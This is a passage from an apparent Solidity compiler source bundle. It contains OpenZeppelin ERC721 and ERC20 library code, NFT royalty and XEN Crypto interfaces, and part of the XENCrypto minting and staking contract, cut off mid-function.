- `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n 